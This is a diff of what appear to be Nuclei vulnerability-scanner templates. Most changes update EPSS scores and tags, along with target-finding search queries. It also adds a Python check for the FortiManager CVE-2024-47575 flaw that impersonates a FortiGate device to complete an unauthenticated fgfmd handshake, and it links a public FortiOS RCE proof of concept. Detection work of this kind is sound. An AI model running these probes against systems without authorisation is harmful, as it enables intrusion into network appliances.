+          - '"kube-apiserver is configured with " + argument + ". Review and remove if unnecessary."'
+# digest: 490a004630440220406c76857bf007a985f74be4f4f7f85f7f8da773fb9d363ae9deb4995c4155b10220309ba2bba33bee584dc505e418d7ed08ab3aef4beac30fe1888fa3bccba92797:922c64590222798bb761d5b6d8e72950

code/cves/2014/CVE-2014-0160.yaml

@@ -11,9 +11,9 @@ info:
   metadata:
     verified: true
   classification:
-    epss-score: 0.94436
-    epss-percentile: 0.99986
-  tags: cve,cve2014,openssl,heartbleed,code,kev
+    epss-score: 0.94477
+    epss-percentile: 0.99998
+  tags: cve,cve2014,openssl,heartbleed,code,kev,vkev,vuln
 
 variables:
   url: "{{RootURL}}"
@@ -138,4 +138,4 @@ code:
       - type: dsl
         dsl:
           - "contains(response,'server is vulnerable')"
-# digest: 4a0a00473045022045af2038247961fb5b14c19d8bb72374aff33f6abffa1053838bf74e8ec2664b022100b728939fd652a8faa3a89769edd07a1dd8d858df326778c204e6abdba96b5c1a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220253c760b6f21558040bda6901fd015197a1b07bcd3071335dbc0a5fc5c97ef3b022100fd75f119e678cf94e08677f89145a463de9844d09a8c06970e23b00c321dab73:922c64590222798bb761d5b6d8e72950

code/cves/2016/CVE-2016-8735.yaml

@@ -13,14 +13,14 @@ info:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
     cve-id: CVE-2016-8735
-    epss-score: 0.94003
-    epss-percentile: 0.99885
+    epss-score: 0.93875
+    epss-percentile: 0.99862
     cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
   metadata:
     shodan-query: product:"tomcat"
     vendor: apache
     product: tomcat
-  tags: cve,cve2016,apache,tomcat,rce,kev
+  tags: cve,cve2016,apache,tomcat,rce,kev,vkev,vuln
 
 variables:
   OAST: "{{interactsh-url}}"

code/cves/2017/CVE-2017-1000353.yaml

@@ -15,8 +15,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2017-1000353
     cwe-id: CWE-502
-    epss-score: 0.94419
-    epss-percentile: 0.99979
+    epss-score: 0.94508
+    epss-percentile: 0.99999
     cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:*
   metadata:
     vendor: jenkins
@@ -27,7 +27,7 @@ info:
       - product:"jenkins"
       - x-jenkins
     fofa-query: icon_hash=81586312
-  tags: cve,cve2017,jenkins,rce
+  tags: cve,cve2017,jenkins,rce,vkev,kev,vuln
 
 variables:
   OAST: "{{interactsh-url}}"
@@ -104,4 +104,4 @@ code:
         dsl:
           - 'contains(interactsh_protocol, "dns")'
         condition: and
-# digest: 4a0a004730450220263f2287dbb0158286c85d46f2a1637a443d821fb9dd0e683060d565654183c4022100e0c3e01d1ae396203308a33adb78c54b24760737c3fb4a224d51d3a9afd82192:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502201673a5118dfdbecf60a1be63a1d24a000ed266e10d0c7fb6f78eb4598669fde1022100fa926a7397ae4e913a90e271a609b90629fd6be8e250915b0abe22c282144c60:922c64590222798bb761d5b6d8e72950

code/cves/2019/CVE-2019-0604.yaml

@@ -17,14 +17,14 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2019-0604
     cwe-id: CWE-20
-    epss-score: 0.94411
-    epss-percentile: 0.99975
+    epss-score: 0.94414
+    epss-percentile: 0.99976
   metadata:
     verified: true
     vendor: microsoft
     product: sharepoint
     shodan-query: cpe:"cpe:2.3:a:microsoft:sharepoint_server"
-  tags: cve,cve2019,sharepoint,microsoft,rce,kev
+  tags: cve,cve2019,sharepoint,microsoft,rce,kev,vkev,vuln
 
 variables:
   OAST: "{{interactsh-url}}"
@@ -154,4 +154,4 @@ code:
           - 'contains(interactsh_protocol, "dns")'
           - 'contains(interactsh_request, hex_encode(marker))'
         condition: and
-# digest: 4a0a00473045022100df684445466bb9439cba258cce0a1a80392f032ecb3e0ad50766aaf73d4b01dd02206215e142ca504c23bf2d1cd3fe23cbe8a5bade3aeb368de6144a8113b4abd23d:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210082461cf3c1e6dd2447ebe24351e8beb9729daeaa31c70ffcee8b29094d53e51b022100e6f972c3ab3ec97a3380691d598c83e68e66ecb8f2eb69db912e5d3f66231e1d:922c64590222798bb761d5b6d8e72950

code/cves/2019/CVE-2019-14287.yaml

@@ -17,15 +17,15 @@ info:
     cvss-score: 8.8
     cve-id: CVE-2019-14287
     cwe-id: CWE-755
-    epss-score: 0.84563
-    epss-percentile: 0.99284
+    epss-score: 0.86126
+    epss-percentile: 0.99351
     cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
   metadata:
     verified: true
     max-request: 2
     vendor: sudo_project
     product: sudo
-  tags: packetstorm,cve,cve2019,sudo,code,linux,privesc,local,canonical,sudo_project
+  tags: packetstorm,cve,cve2019,sudo,code,linux,privesc,local,canonical,sudo_project,vuln
 
 self-contained: true
 code:
@@ -47,4 +47,4 @@ code:
           - '!contains(code_1_response, "root")'
           - 'contains(code_2_response, "root")'
         condition: and
-# digest: 4b0a00483046022100c1d0e6e00841e13c6ae67d95d0b02a6cf0947cdc0ec6e54eb4877e229271f8eb022100a10a0cceb9b1016c22bcc2d6459098802b0dc449da93e4bfefd4f2fcfb44872b:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220142b1e84a588dc114782c86821e49717d24b8ba55118a4080f47606c1aca3d7c02204503a2b4bcb76f99ad7088beeeb4a5af71dda20062a84b1667142ba11ea5490a:922c64590222798bb761d5b6d8e72950

code/cves/2020/CVE-2020-0646.yaml

@@ -15,8 +15,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2020-0646
     cwe-id: CWE-91
-    epss-score: 0.93121
-    epss-percentile: 0.99783
+    epss-score: 0.93368
+    epss-percentile: 0.99801
     cpe: cpe:2.3:a:microsoft:.net_framework:3.0:sp2:*:*:*:*:*:*
   metadata:
     verified: true
@@ -24,7 +24,7 @@ info:
     product: .net_framework
     shodan-query: 'server:"ms .net remoting"'
     max-request: 1
-  tags: cve,cve2020,net-framework,sharepoint,microsoft,packetstorm,rce,kev,oast
+  tags: cve,cve2020,net-framework,sharepoint,microsoft,packetstorm,rce,kev,oast,vkev,vuln
 
 variables:
   OAST: "{{interactsh-url}}"
@@ -102,4 +102,4 @@ code:
           - 'contains(content_type, "text/xml")'
           - 'status_code == 200'
         condition: and
-# digest: 490a00463044022039b21fd051ee3d99e5087c4b1ef37ebfbd8d3abf7c717021969855a08cf3ff2902203f3bcb8f09adb6748005b8ab005e0282bed3ac3e1f281064e1a4f41f5db35163:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009d9bdc3780607102c88f8e2c24b7c11abaa1db7626959bea30844b3becad4398022100f8b42cfb37bdec09e2e983826a04f66fa50937cebe0b05d8b98cea1b558a21a9:922c64590222798bb761d5b6d8e72950

code/cves/2020/CVE-2020-13935.yaml

@@ -10,8 +10,8 @@ info:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
     cvss-score: 7.5
     cve-id: CVE-2020-13935
-    epss-score: 0.92195
-    epss-percentile: 0.99703
+    epss-score: 0.92155
+    epss-percentile: 0.99695
   reference:
     - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00084.html
     - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00088.html
@@ -24,7 +24,7 @@ info:
     shodan-query: html:"Apache Tomcat"
     vendor: apache
     product: tomcat
-  tags: cve,cve2020,tomcat,websocket,dos,code
+  tags: cve,cve2020,tomcat,websocket,dos,code,vuln
 
 flow: http(1) && code(1,2) && code (3)
 

code/cves/2021/CVE-2021-3156.yaml

@@ -17,14 +17,14 @@ info:
     cvss-score: 7.8
     cve-id: CVE-2021-3156
     cwe-id: CWE-193
-    epss-score: 0.92492
-    epss-percentile: 0.99726
+    epss-score: 0.92188
+    epss-percentile: 0.99697
     cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
   metadata:
     verified: true
     vendor: sudo_project
     product: sudo
-  tags: packetstorm,cve,cve2021,sudo,code,linux,privesc,local,kev,sudo_project
+  tags: packetstorm,cve,cve2021,sudo,code,linux,privesc,local,kev,sudo_project,vkev,vuln
 
 self-contained: true
 code:
@@ -40,4 +40,4 @@ code:
           - "malloc(): memory corruption"
           - "Aborted (core dumped)"
         condition: and
-# digest: 4a0a004730450220116acc9627f4685ad779e90097e7034e251856df89fd56d03ba53837d13f0986022100fe150737937481ab215b5d0e2137cb9276d7e005bb7e92c79ce0087766cec0f8:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f71982b68a0941b58c28d66c71e85126c4c968ced5ce8646155128b001dda849022100e1dfe8f43d26c8c72bbdedf39a5ca890a46771c1b941308525a570abd452244c:922c64590222798bb761d5b6d8e72950

code/cves/2022/CVE-2022-42475.yaml

@@ -16,23 +16,27 @@ info:
     - https://fortiguard.com/psirt/FG-IR-22-398
     - https://labs.watchtowr.com/fortinet-no-more-funny-titles-cve-2022-42475/
     - https://bishopfox.com/blog/exploit-cve-2022-42475
+    - https://github.com/3yujw7njai/CVE-2022-42475-RCE-POC
   classification:
-    epss-score: 0.9394
-    epss-percentile: 0.99873
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
-    cve-id: CVE-2024-42475
-    cwe-id: CWE-122
+    cve-id: CVE-2022-42475
+    cwe-id: CWE-197,CWE-787
+    epss-score: 0.9394
+    epss-percentile: 0.99872
+    cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
   metadata:
     max-request: 1
     vendor: fortinet
     product: fortios
     shodan-query:
-      - port:10443 http.favicon.hash:945408572
       - cpe:"cpe:2.3:o:fortinet:fortios"
       - http.html:"/remote/login" "xxxxxxxx"
-  tags: cve,cve2024,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev
-
+      - http.favicon.hash:"945408572"
+    fofa-query:
+      - body="/remote/login" "xxxxxxxx"
+      - icon_hash="945408572"
+  tags: cve,cve2024,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev,vkev,vuln
 flow: http () && code()
 
 http:
@@ -193,4 +197,4 @@ code:
       - type: word
         words:
           - "Target appears to be VULNERABLE"
-# digest: 480a00453043021f35b1e6cb5dd443fe5d86eb7d588b599b95e1af87137da1e4d6fb5804c8a9a602201d06f797448d26f65179c6c9a067ff8d245067a3b42b2b21c19d3fb469d6b8c4:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e913085eb3784826410469b3e2477d893db8b66741034bd3bf2b96c432ae5fa402207e41770b1a18ba058d8288ed36abea4b314f410b9b7a540c6db34418cddda5e7:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-2640.yaml

@@ -22,7 +22,7 @@ info:
     cve-id: CVE-2023-2640
     cwe-id: CWE-863
     epss-score: 0.92037
-    epss-percentile: 0.99695
+    epss-percentile: 0.99684
     cpe: cpe:2.3:o:canonical:ubuntu_linux:23.04:*:*:*:*:*:*:*
   metadata:
     verified: true
@@ -30,7 +30,7 @@ info:
     vendor: canonical
     product: ubuntu_linux
     shodan-query: cpe:"cpe:2.3:o:canonical:ubuntu_linux"
-  tags: cve,cve2023,code,packetstorm,kernel,ubuntu,linux,privesc,local,canonical
+  tags: cve,cve2023,code,packetstorm,kernel,ubuntu,linux,privesc,local,canonical,vkev,vuln
 
 self-contained: true
 code:
@@ -55,4 +55,4 @@ code:
           - '!contains(code_1_response, "(root)")'
           - 'contains(code_2_response, "(root)")'
         condition: and
-# digest: 4a0a00473045022025723ab91e420641cfe800cf358b555be4dfe1a95e19f497622513d576e1a18602210099c619aeaa31b5a42bfa1bf2435e943539edb17a8bb63d628639876b14b1dd0b:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220042744883085da6be3360bc592800813b59a32ca3cca5b357679359e6253ba240220221969866987b2d8a715ea12875a3378b4d34a00642ee1940414fb062dbb7ccc:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-2986.yaml

@@ -16,8 +16,8 @@ info:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
     cve-id: CVE-2023-2986
-    epss-score: 0.91813
-    epss-percentile: 0.99679
+    epss-score: 0.9117
+    epss-percentile: 0.99625
     cpe: cpe:2.3:a:tychesoftwares:abandoned_cart_lite_for_woocommerce:*:*:*:*:*:wordpress:*:*
   metadata:
     verified: true
@@ -25,7 +25,7 @@ info:
     product: abandoned_cart_lite_for_woocommerce
     framework: wordpress
     fofa-query: body="/wp-content/plugins/woocommerce-abandoned-cart/"
-  tags: cve,cve2023,wordpress,woocommerce,wp-plugin,auth-bypass,woocommerce-abandoned-cart
+  tags: cve,cve2023,wordpress,woocommerce,wp-plugin,auth-bypass,woocommerce-abandoned-cart,vkev,vuln
 code:
   - engine:
       - php
@@ -626,4 +626,4 @@ http:
       - type: status
         status:
           - 302
-# digest: 4a0a00473045022100c7b97b5b190f4a227f3ba95fb469d1a90fecdc553b3bc749f46048cab15369a4022029d5f8c561ddab25265e0ac4603a7d4f07207be07f6b597dffcd75e91c9e4b8a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e6eab6f55170064a588506282efa987cb311cb8e2f791c1066d1d0d643b71b76022068fc331e222d13fd82f83dea7d76fa1aeb431eea1a0f9f415a3eb6917ef1e6a9:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-49105.yaml

@@ -18,7 +18,7 @@ info:
     cve-id: CVE-2023-49105
     cwe-id: CWE-287
     epss-score: 0.86244
-    epss-percentile: 0.99361
+    epss-percentile: 0.99356
     cpe: cpe:2.3:a:owncloud:owncloud:*:*:*:*:*:*:*:*
   metadata:
     max-request: 2
@@ -29,7 +29,7 @@ info:
       - http.title:"owncloud"
     fofa-query: title="owncloud"
     google-query: intitle:"owncloud"
-  tags: cve,cve2023,code,owncloud,auth-bypass
+  tags: cve,cve2023,code,owncloud,auth-bypass,vuln
 variables:
   username: admin
 
@@ -90,4 +90,4 @@ http:
       - type: dsl
         dsl:
           - '"Username => "+ username'
-# digest: 4a0a004730450221008875cf05746628578112f29d306e793ce585a00ead604f44bdcaf6d1e45ceb68022010a85a681e0751ef0baed0f13e8c575a0bb4e324ab5d54a1a7c187604bcda5c0:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100cf2286e2b9e4ad6a4e7a1300d561d89e3de6c89744d3b4d2e1fb5fb3a21e657602201a70a5fb1b750c545c39bb3c3cdb175a2d69af7540d635a926f13d4e1fbab54b:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-4911.yaml

@@ -17,14 +17,14 @@ info:
     cvss-score: 7.8
     cve-id: CVE-2023-4911
     cwe-id: CWE-787,CWE-122
-    epss-score: 0.74116
-    epss-percentile: 0.98791
+    epss-score: 0.78409
+    epss-percentile: 0.98978
     cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
   metadata:
     max-request: 1
     vendor: gnu
     product: glibc
-  tags: cve,cve2023,code,glibc,looneytunables,linux,privesc,local,kev,gnu
+  tags: cve,cve2023,code,glibc,looneytunables,linux,privesc,local,kev,gnu,vkev,vuln
 
 self-contained: true
 code:
@@ -39,4 +39,4 @@ code:
       - type: word
         words:
           - "139"     # Segmentation Fault Exit Code
-# digest: 490a00463044022040a81ac2ad959d217857499ca5396b31db4906f82ffd9773e2b3e8bc9c5ec2dd02200bb9811d32aee0b5be5586f698e40c9a553cc8942a956ad6620aa1afa22b97a0:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009b5dc3be045aba05dec88023cb7dddc24188b00eec844cfa3909377e9d6317eb022100e0078981f9b353e41cf8e5e46fe4c1e421ddbbb0038b65ead953e45bb4b81381:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-6246.yaml

@@ -17,14 +17,14 @@ info:
     cvss-score: 7.8
     cve-id: CVE-2023-6246
     cwe-id: CWE-787,CWE-122
-    epss-score: 0.28497
-    epss-percentile: 0.96362
+    epss-score: 0.25078
+    epss-percentile: 0.95931
     cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
   metadata:
     max-request: 1
     vendor: gnu
     product: glibc
-  tags: cve,cve2023,code,glibc,linux,privesc,local,gnu
+  tags: cve,cve2023,code,glibc,linux,privesc,local,gnu,vuln
 
 self-contained: true
 code:
@@ -39,4 +39,4 @@ code:
       - type: word
         words:
           - "127"     # Segmentation Fault Exit Code
-# digest: 4b0a00483046022100bd86241977f77ec4471f4e215f239cd4c2c4d310009522616754bff1c83e43e9022100de9dfa0d46bfe5e3e45eaa6462a5c01aeb6007a4952bb1697d6dedbc276270bc:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220707af88658762f3e5a34c0b6adc5c8761db5b3a68d793de3ce1583c5e2334dbc022100aa3e773dd28b5a80f46c9e117e3cff530f72279898a97cf61d0f542ddad6451d:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-10443.yaml

@@ -13,8 +13,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2024-10443
     cwe-id: CWE-77
-    epss-score: 0.69894
-    epss-percentile: 0.98618
+    epss-score: 0.69676
+    epss-percentile: 0.98585
     cpe: cpe:2.3:a:synology:photos:*:*:*:*:*:diskstation_manager:*:*
   metadata:
     verified: true
@@ -23,7 +23,7 @@ info:
     product: photos
     framework: diskstation_manager
     shodan-query: html:"BeeStation"
-  tags: unauth,synology,rce,websocket,diskstation
+  tags: unauth,synology,rce,websocket,diskstation,vuln
 
 variables:
   OAST: "{{interactsh-url}}"
@@ -54,4 +54,4 @@ code:
         part: interactsh_protocol # Confirms the HTTP Interaction
         words:
           - "dns"
-# digest: 4a0a004730450220511e571db5d5da0bfa64140844ecb6b6a8c8d34c619b653100ae31e91ec729d2022100891722957d284e2a9169c66964f54e9698a5a42d2c990314f0bc57f7b029e35c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221008b5ac203a17c5ac2495444e747470435d1f73ab86119dbac864498facc0299ba0220706f90afe3ebad35664001b827141b2c9308fbf3c09d879a0fe9232a2602ff14:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-12356.yaml

@@ -14,13 +14,13 @@ info:
     cve-id: CVE-2024-12356
     cwe-id: CWE-77
     epss-score: 0.93687
-    epss-percentile: 0.99841
+    epss-percentile: 0.99833
     cpe: cpe:2.3:a:beyondtrust:privileged_remote_access:*:*:*:*:*:*:*:*
   metadata:
     vendor: beyondtrust
     product: privileged_remote_access
     verified: true
-  tags: cve,cve2024,beyondtrust,rce,remote-support,privileged-remote-access,kev
+  tags: cve,cve2024,beyondtrust,rce,remote-support,privileged-remote-access,kev,vkev,vuln
 
 code:
   - engine:
@@ -37,4 +37,4 @@ code:
         words:
           - "0 success"
           - "1 try again later"
-# digest: 4a0a0047304502200b37b3f73826455d516931c5296dbaba91036d7e80ba5f11e544fea8dc775a75022100c8bbd7a40f951edf1629235401f4da2be665590e74464519de65ad0b42b7e049:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100bcb70958bd42473e557963672c2efd5866879d3fd84e491b51e19b39e53ac0b6022100cec4f199e93652df8d28806d7fa5ebf4e7eee2e68522774ed5ad2fda01bf9d05:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-22120.yaml

@@ -19,8 +19,8 @@ info:
     cvss-score: 9.1
     cve-id: CVE-2024-22120
     cwe-id: CWE-20
-    epss-score: 0.93596
-    epss-percentile: 0.99832
+    epss-score: 0.93259
+    epss-percentile: 0.99793
   metadata:
     max-request: 1
     vendor: zabbix
@@ -34,7 +34,7 @@ info:
       - app="zabbix-监控系统" && body="saml"
       - title="zabbix-server"
     google-query: intitle:"zabbix-server"
-  tags: cve,cve2024,authenticated,zabbix,sqli
+  tags: cve,cve2024,authenticated,zabbix,sqli,vkev,vuln
 variables:
   HOST: "{{Host}}"
   PORT: "{{Port}}"
@@ -71,4 +71,4 @@ code:
       - type: word
         words:
           - "Vulnerable to CVE-2024-22120"
-# digest: 490a00463044022025c92476c4be0039721b139dbeb6c79092139443c438dad448cfd2f05da0a5ca02207927404826fa7d6f8f7cf05ced1e423628fde86c290bb4e4ebed907d0d3cf355:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c29b03d6ec221f62966546d687c9c8c86e41f5d46f37e8896f3473a10d8b08b3022100867de1666d89e4ae22d98a7a0fd65b75a1716a312aaec979b2fabcd6b2ae1cf9:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-3094.yaml

@@ -17,14 +17,14 @@ info:
     cvss-score: 10
     cve-id: CVE-2024-3094
     cwe-id: CWE-506
-    epss-score: 0.86323
-    epss-percentile: 0.99365
+    epss-score: 0.85778
+    epss-percentile: 0.99331
     cpe: cpe:2.3:a:tukaani:xz:5.6.0:*:*:*:*:*:*:*
   metadata:
     verified: true
     vendor: tukaani
     product: xz
-  tags: cve,cve2024,local,code,xz,backdoor,tukaani
+  tags: cve,cve2024,local,code,xz,backdoor,tukaani,vuln
 
 self-contained: true
 code:
@@ -59,4 +59,4 @@ code:
       - type: dsl
         dsl:
           - response
-# digest: 490a00463044022054bcebe277e8065f26d05e4687e0113cd9c46eef4470b33f48b3b85182501174022058d4832af02dede606b68af5ab70c68e320e59f848f1267fedc59b33e107a153:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502210092d5ac481a41f2bce742d30e9a53e6cfcce47b99b02f4291b382802664d6f8c80220616412b2e3eab8e90f86485850f7ca389e9ac0b0f1a890e827325eb9677048d9:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-4340.yaml

@@ -10,11 +10,11 @@ info:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
     cvss-score: 7.5
     cve-id: CVE-2024-4340
-    epss-score: 0.14988
-    epss-percentile: 0.94311
+    epss-score: 0.16207
+    epss-percentile: 0.94529
   reference:
     - https://nvd.nist.gov/vuln/detail/CVE-2024-4340
-  tags: cve,cve2024,py,code,dos,python,sqlparse
+  tags: cve,cve2024,py,code,dos,python,sqlparse,vuln
 
 self-contained: true
 code:
@@ -29,4 +29,4 @@ code:
         part: stderr
         words:
           - "RecursionError: maximum recursion depth exceeded"
-# digest: 4b0a0048304602210089bcc3455b7c88d7661935d11299513e8587ede3c558cb7d4ffb7d08773b0f5e022100f427e4c730b4b68da3bc12b35b016d85a6a4ebb59a47368b704ab2f85262421d:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220549dc564dc5471bdf1dc63334bf0ff6ef0f2c050664a3b06189b22683d31875f02204d49ed2a7bd8a9158503467d45b113fb0e8b20c98a09747235c176e23a8ef696:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-45409.yaml

@@ -20,14 +20,14 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2024-45409
     cwe-id: CWE-347
-    epss-score: 0.12641
-    epss-percentile: 0.9373
+    epss-score: 0.39163
+    epss-percentile: 0.97099
   metadata:
     verified: true
     shodan-query: http.title:"GitLab"
     product: gitlab
     vendor: gitlab
-  tags: cve,cve2024,saml,auth-bypass,gitlab,code
+  tags: cve,cve2024,saml,auth-bypass,gitlab,code,vkev,vuln
 
 code:
   - engine:
@@ -123,4 +123,4 @@ http:
       - type: kval
         kval:
           - _gitlab_session
-# digest: 4a0a00473045022027adcc282552da29cd8826014ddb129e6bdf7be89e63adcde0665eb5fbe079b5022100bc17da39d2083d1ad807db298496b4d57a25ad317d9c21dd39bcf4576f5204f2:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402205e030f7d186f18e2ddf5cd9281a48cb0af2d6ac63498b37cb4a9ce899f84a59e022005a03e6ea351d60b08436740f6db2daf9e303d0323c278f564ab1230e9a678f2:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-47575.yaml

@@ -0,0 +1,148 @@
+id: CVE-2024-47575
+
+info:
+  name: FortiManager Unauthenticated Remote Code Execution
+  author: 0x_Akoko,pussycat0x,watchTowr
+  severity: critical
+  description: |
+    A missing authentication vulnerability in Fortinet FortiManager allows a remote unauthenticated attacker to execute arbitrary code or commands via specially crafted requests to the fgfmd daemon. This vulnerability affects FortiManager versions 7.6.0, 7.4.0 through 7.4.4, 7.2.0 through 7.2.7, 7.0.0 through 7.0.12, 6.4.0 through 6.4.14, 6.2.0 through 6.2.12, and all versions of 6.0.
+  remediation: |
+    Update FortiManager to version 7.6.1 or later, 7.4.5 or later, 7.2.8 or later, 7.0.13 or later, or 6.4.15 or later.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-47575
+    - https://github.com/watchtowrlabs/Fortijump-Exploit-CVE-2024-47575
+    - https://fortiguard.fortinet.com/psirt/FG-IR-24-423
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2024-47575
+    cwe-id: CWE-306
+    epss-score: 0.93874
+    epss-percentile: 0.99861
+    cpe: cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*
+  tags: cve,cve2024,fortinet,fortimanager,kev,rce,vkev
+
+variables:
+  HOST: "{{Host}}"
+  PORT: "{{Port}}"
+  keysDir: "helpers/payloads/cve-2024-475759-keys"
+
+code:
+  - engine:
+      - py
+      - python3
+    source: |
+      import socket
+      import struct
+      import ssl
+      import logging
+      import os
+      import sys
+
+      logging.basicConfig(level=logging.INFO, format='%(message)s')
+
+      FW_VERSION = None
+
+      def create_ssl_context():
+          keys_dir = os.getenv("keysDir", "helpers/payloads/cve-2024-47575-keys")
+          cert_path = os.path.join(keys_dir, "w00t_cert.bin")
+          key_path = os.path.join(keys_dir, "w00t_key.bin")
+
+          try:
+              if os.path.isfile(cert_path) and os.path.isfile(key_path):
+                  context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
+                  context.load_cert_chain(certfile=cert_path, keyfile=key_path)
+                  context.check_hostname = False
+                  context.verify_mode = ssl.CERT_NONE
+                  logging.debug(f"Loaded certificate from {cert_path}")
+                  logging.debug(f"Loaded key from {key_path}")
+                  return context
+              else:
+                  logging.debug(f"Certificate or key not found: {cert_path}, {key_path}")
+                  context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
+                  context.check_hostname = False
+                  context.verify_mode = ssl.CERT_NONE
+                  return context
+          except Exception as e:
+              logging.debug(f"Failed to load certificates: {e}")
+              context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
+              context.check_hostname = False
+              context.verify_mode = ssl.CERT_NONE
+              return context
+
+      def send_message(sock, request):
+          message = struct.pack(">II", 0x36e01100, len(request) + 8) + request
+          sock.send(message)
+          hdr = sock.read(8)
+          if len(hdr) != 8:
+              return None
+          magic, size = struct.unpack(">II", hdr)
+          return sock.read(size - 8)
+
+      def check_vulnerability(target_ip, target_port, timeout=10):
+          global FW_VERSION
+
+          auth_request = b"get auth\r\nserialno=FGVMEVWG8YMT3R63\r\nmgmtid=00000000-0000-0000-0000-000000000000\r\nplatform=FortiGate-60E\r\nfos_ver=700\r\nminor=2\r\npatch=4\r\nbuild=1396\r\nbranch=1396\r\nmaxvdom=2\r\nfg_ip=192.168.1.53\r\nhostname=FortiGate\r\nharddisk=yes\r\nbiover=04000002\r\nharddisk_size=30720\r\nlogdisk_size=30107\r\nmgmt_mode=normal\r\nenc_flags=0\r\nmgmtip=192.168.1.53\r\nmgmtport=443\r\n\x00"
+
+          file_exchange_request = b"get file_exchange\r\nlocalid=123\r\nchan_window_sz=32768\r\ndeflate=gzip\r\nfile_exch_cmd=put_json_cmd\r\n\r\n\x00"
+
+          context = create_ssl_context()
+          sock = socket.create_connection((target_ip, target_port), timeout=timeout)
+          ssl_sock = context.wrap_socket(sock)
+
+          response = send_message(ssl_sock, auth_request)
+          if not response:
+              ssl_sock.close()
+              return False, None
+
+          response = send_message(ssl_sock, file_exchange_request)
+          if not response:
+              ssl_sock.close()
+              return False, None
+
+          try:
+              response_str = response.decode('utf-8', errors='ignore')
+              for line in response_str.split('\r\n'):
+                  if 'remoteid=' in line:
+                      remote_id = line.split('=')[1].strip()
+                      if remote_id:
+                          ssl_sock.close()
+                          return True, FW_VERSION
+          except Exception:
+              pass
+
+          ssl_sock.close()
+          return False, FW_VERSION
+
+      def main():
+          host = os.getenv("HOST")
+          port = os.getenv("PORT")
+
+          target_port = int(port) if port else 541
+
+          is_vulnerable, fw_version = check_vulnerability(host, target_port)
+
+          if is_vulnerable:
+              if fw_version:
+                  print(f"Vulnerable Version {fw_version}")
+              else:
+                  print("Vulnerable")
+          else:
+              if fw_version:
+                  print(f"NOT VULN Version {fw_version}")
+              else:
+                  print("NOT VULN")
+
+      if __name__ == "__main__":
+          main()
+
+    matchers:
+      - type: word
+        words:
+          - "Vulnerable"
+
+    extractors:
+      - type: dsl
+        dsl:
+          - response
+# digest: 4b0a00483046022100ec14e45bc6bc3f9a31bebf7c7e91cff5df5cb9159169aa0226e3d067fc01f1e2022100c71d9207b4a6d950032c7216f57a8e2347823a4f8aad944aa50de2e9b4fd6978:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-55556.yaml

@@ -17,14 +17,14 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2024-55556
     cwe-id: CWE-502
-    epss-score: 0.7976
-    epss-percentile: 0.99064
+    epss-score: 0.84379
+    epss-percentile: 0.99271
   metadata:
